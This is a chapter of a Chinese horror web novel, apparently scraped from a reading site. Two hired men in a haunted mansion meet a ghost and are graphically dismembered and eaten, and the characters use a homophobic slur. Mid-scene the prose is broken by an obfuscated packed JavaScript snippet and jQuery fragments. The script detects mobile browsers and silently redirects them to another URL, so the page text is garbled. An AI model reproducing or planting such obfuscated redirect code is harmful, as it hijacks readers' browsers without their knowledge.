默认冷灰
24号文字
方正启体

5. 撞邪

作者:醒灯本书字数:K更新时间:
    张春平一溜烟跑去解手,贺家这大少爷的卧室是个套房,除了主卧还有书房跟几个锁着门的小房间,他穿过走廊才找到卫生间。


    暴雨阴冷,贺家老宅的隔音好像不太行,他能听到滴滴答答漏水的声音,就像在他头顶上一样,大概是外面的雨声。


    中间还听到江恒过来敲了敲门,卫生间磨砂玻璃窗上映着个模糊的黑影,嗓音也低且含糊,彬彬有礼地问他,“你好了吗?”


    “马上马上。”张春平有点烦,他也没进来多久,裤子都没拉开呢,催什么催。


    但听到有人说话,他确实没那么害怕了,就没跟江恒生气,他摇晃起来,哼着歌去洗手,出去时经过走廊,有一面落地的更衣镜。


    他对着镜子,想整理一下头发,然而才抬起手,脑子就顿时嗡鸣了一声。


    镜子里的张春平并没有任何动作,双手斯文地垂在两旁,正笑意盈盈地望着他,就像在惊讶他的好心情。


    ……


    江恒惨白着脸,往后踉跄了一下,他还以为是自己眼花了,然而那只苍白鬼手握住谈雪慈的手扶正灵牌以后,却并没有离开。


    谈雪慈的手实在比对方小了至少一圈,那东西将自己小妻子微微颤抖的手拢在掌心里,当着外人的面,爱不释手地把玩。


    其实对方的手并不丑陋,虽然甲床上血肉模糊,根部淤血发黑,没有指甲,但劲瘦有力,指节清晰,这一幕甚至有些怪异的美感。


    江恒浑身都在发抖,他正想去找张春平,就听到走廊上突然传来一声凄厉的惨叫。


    “啊啊啊啊啊!!!!”


    紧接着,张春平屁滚尿流地跑了过来。


    江恒立刻朝他跑过去,远离了鬼手,然而他还没来得及拉住张春平让他看,转过头就发现刚才的鬼手不见了,谈雪慈始终没动,就好像不知道自己的手被攥住过一样。


    江恒又开始怀疑自己眼花了,他是真的不信这些神神鬼鬼,他好歹名校大学生,还是理工专业的,信奉的是唯物主义世界观。


    他今年读大三,还没毕业,平常很喜欢玩恐怖游戏,不管是线上的恐游,还是在宿舍跟室友玩笔仙、碟仙、四角游戏之类的。


    要是这世上真的有鬼,他早就该撞见了,还能活到现在?


    江恒紧绷的脊背慢慢放松下来。


    张春平却脸色煞白,他眼神惊惧,脸部神经质地抽动,几乎被愤怒跟恐惧撕裂,但最后还是被耍了的愤恨占据上风。


    “鬼!”他一把扯住江恒,嘴唇发抖地说,“真的有鬼,江恒,我没骗你,这地方真的有鬼,不行,不能再待下去了,操他妈的,江恒,咱哥俩被贺家那老东西做局了!”


    江恒还是不太相信,他觉得是张春平胆子太小了,一惊一乍的,害得他也被影响。


    而且他知道张春平,这人是个惯偷,蹲了好几次局子,这次出来以后彻底被洗车店辞退,平常又大手大脚,喜欢买点名牌,手头欠了十几万,这才没办法,接了贺家的生意。


    谁跟他是哥俩。


    江恒暗暗翻了个白眼。


    张春平哆嗦着收拾东西,拎上就想走,别到时候有命赚没命花,这家人结阴亲,搞不好连那个新娘子都是死的,他俩是在陪死人!


    但马上到手的三十万就这么飞了,他怎么也不甘心,贺家……贺家这么大,肯定很多好东西,他随手带几件出去,应该都能卖个好价钱。


    张春平眼底掠过一丝阴狠,贺家既然骗他,就别怪他不义!


    江恒伸手想拦他,但他俩才认识几天,体格又差不多,张春平打定主意想走,他总不能把人打晕了留下,只能眼睁睁看着他离开。


    管家不让他们带手机,他现在都没办法跟外界联系,而且贺家那个家主说了,必须他俩同时留在这栋楼里,才算什么什么阵。


    当时他觉得都是封建迷信,也没仔细听,总之只剩他一个人,什么用也没有。


    江恒咬了咬牙,只能跟着离开,他出去找到管家,说不定还能把张春平弄回来。


    但贺家这栋楼尤其大,老式的黑漆木楼,走廊纵横交错如同蛛网密布。


    贺恂夜的房间在三楼,他匆忙推门出去,在阴沉昏暗的走廊里找了好几个来回,都没找到下去的楼梯,反而又转到谈雪慈门口。


    隔着雾蒙蒙的窗纸,能看到新娘穿着暗红色嫁衣,一动不动地抱着丈夫的灵牌。


    江恒头皮一瞬间就抓紧了,他嗓音干涩,低声叫道:“张春平?张春平你还在吗?”


    他连着叫了几声都没回音,直到走廊尽头一个房间突然传来张春平激动的大叫声,江恒才发现自己后背都已经被冷汗湿透。


    他脚下一软,差点把自己绊倒,跌跌撞撞就朝声音传来的方向跑去。


    “张春平?”江恒擦了擦手心冷汗,小心翼翼地推开门说,“张哥?”


    张春平背对着他,怀里还抱着什么东西,听到江恒的声音,他满脸红光地转过头,嗓音都在狂喜发抖,将怀里的东西举起来给江恒看,“江恒,江恒你快拿啊,跟我一起拿,这么多金子,我这辈子都没见过这么多金子!”


    他搂紧怀里的金元宝,都已经快抱不住了,另一只手却还在不停地从柜子里往外扒拉。


    江恒嘴唇哆嗦着,却发不出一个音节。


    哪有什么金子,张春平怀里抱着的,明明都是纸扎的金元宝。


    但张春平自己好像完全没发现,他涎水都流了下来,眼底的贪婪让他丑陋扭曲得不像人类,他奇怪地盯着江恒,问他,“你怎么不拿?”


    装货。


    谁看到这么多钱能不动心。


    不过也不好说,张春平鄙夷地瞥了江恒一眼,他记得江恒比他小几岁,本来在理工大读书,但之前被劝退了,因为猥亵一个学弟。


    死男同。


    说不定只好色不爱钱。


    张春平都不敢跟他多说话,生怕被这个死男同看上,刚才他就看出来了,他跟江恒说话,江恒都心不在焉,眼神一直在瞟谈雪慈。


    那小傻子真就像个心智不全的小孩一样,几根细白的手指攥着袖口,江恒盯着他的指尖看了老半天,看得他都有点头皮发麻。


    张春平承认他也觉得谈雪慈漂亮,但毕竟是个男的,看几眼就算了,摸男的手恶不恶心啊,也就是他还在屋里,他感觉他走了,江恒都能捧住谈雪慈的手亲上去。


    张春平心里嘀咕着,继续抱他的金子,江恒却惨白着脸,一直催他出去。


    “别拿了。”江恒咬住牙叫他,倒不是他多好心,想救张春平,但这个地方摆明了有问题,他的唯物主义世界观摇摇欲坠,一个人逃出去的机会总没有两个人大,他想叫上张春平陪他一起走,张春平却抱着金子不放。


    江恒急出满脑门的汗,忍不住怒道:“我操你妈的别拿了!那他妈根本不是金子!”


    张春平也忍无可忍,他气得将头一歪,嘴里的涎水都要滴在鞋面上,正想质问江恒在发什么疯,就见江恒喉咙里挤出很短促的一声抽气,那张脸上是肉眼可见的惊恐。


    他纳闷地望着江恒,“怎么了,兄弟?你怎么不说话了?”


    “你……”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854394|191614||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    江恒瞳孔发颤,嗓子也颤得厉害,呼吸艰难地指着他说,“你的胳膊……”


    张春平顺着他的视线低下头,这才发现自己的双臂都从肩膀处断开了,像是被硬生生撕裂的,露出血红的肉和白色骨茬,断掉的手臂掉在地上,肌肤青白,手指僵硬,就像已经掉下来很久了,难怪他刚才怎么也抱不住金子。


    原来他的手没有了啊。


    但张春平就好像不觉得疼,也不觉得奇怪一样,他双眼往上一翻,黑瞳孔全部消失了,只剩下眼白,阴郁怨毒地盯着江恒,语气森冷,质问他说:“你怎么了?你怎么不说话了?”


    “江恒……”


    “江恒……”


    江恒差点被吓死,他脑子一片空白,撑着发软的腿掉头就想跑,然而还没来得及迈开腿,对方黑洞洞的嘴就豁然张开,越来越大。


    直到比他的一整颗头都大。


    然后咔嚓一口将他的脑袋咬了下来。


    谈雪慈顶着盖头,他听到张春平跟江恒慌乱地在屋子里跑来跑去,然后又突然吵了起来,紧接着响起咔嚓咔嚓的咀嚼声,就像在啃骨头,连骨头茬子都一并咬碎的那种。


    他们始终没有离开过这个房间。


    大概在吃饭吧。


    谈雪慈抽搭了一下鼻子,他也好饿,他觉得自己快死了,眼前一阵阵发黑,整个人摇摇欲坠,暗红色的喜服也跟着在暴雨中晃动。


    过了一会儿,咀嚼声消失了,又传来一阵拖行的声音。


    江恒摇摇晃晃地站起来,他摸了摸自己冒血的脖子,上面已经没有头了,被齐根咬断。


    他的手伸长,长到人类不可能拥有的程度,然后从张春平的肚子里掏了进去,摸啊摸,找到半颗还没有被完全嚼碎的头,掏出来又放到了自己脖子上。


    张春平的肠子裹在上面,也一并被扯了出来,还带着点黑红的内脏碎片。


    江恒面无表情,他扯住张春平的头发,就将人往外拖,地上都是蜿蜒的血迹,从他脖子断口流下来的,还有从张春平肚子里流出来的。


    他双眼空洞,脸色青白,摇摇晃晃地往前走,一直走到楼梯口,突然觉得有什么东西掉了下来,他茫然地接住,才发现是他被咬烂的半个脑袋,白花花的脑浆像肥油一样冒出来。


    江恒僵在原地,他瞳孔缩成了针尖大小,发出无声的惨叫,然后直直地倒了下去。


    -


    谈雪慈浑身都很疼,终于抱不动那个牌位,摔倒在床上,他双手不停地发抖,指尖被压出淤血,眼前一片昏黑。


    他一动不动地趴了几分钟,都没人管他,就艰难地抬起手,将盖头扯了下来。


    张春平跟江恒都不见了,只剩下他一个人,桌上还放着午饭,一口也没动过。


    谈雪慈拖着沉重的身体,踉踉跄跄地下床往桌边走,他几乎是爬过去的。


    整个贺家老宅都被暴雨笼罩,阴云密布,到处都黑压压的,弥漫着死气,再加上他胃里剧痛,他根本没发现地上的血迹,就扑到桌边,颤抖地拿起筷子往嘴里扒饭。


    谈雪慈始终没发现,江恒他们也没看到,从他接过牌位的那一刻起,就有黑雾从牌位中缓缓涌出,在他身后凝结成一道高大的黑影。


    他扒了几口米饭,又去夹冒菜,菜刚端过来不久,上面的红油仍然滚烫。


    谈雪慈没防备,他才塞到嘴里,就被烫得蒙上一层泪膜,只能顶着一张湿漉漉泛红可怜的脸,下意识张开嘴将舌尖探了出来。


    然后有什么冰凉的东西靠近,低声喟叹了一下,怜惜地含住了他的舌头。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)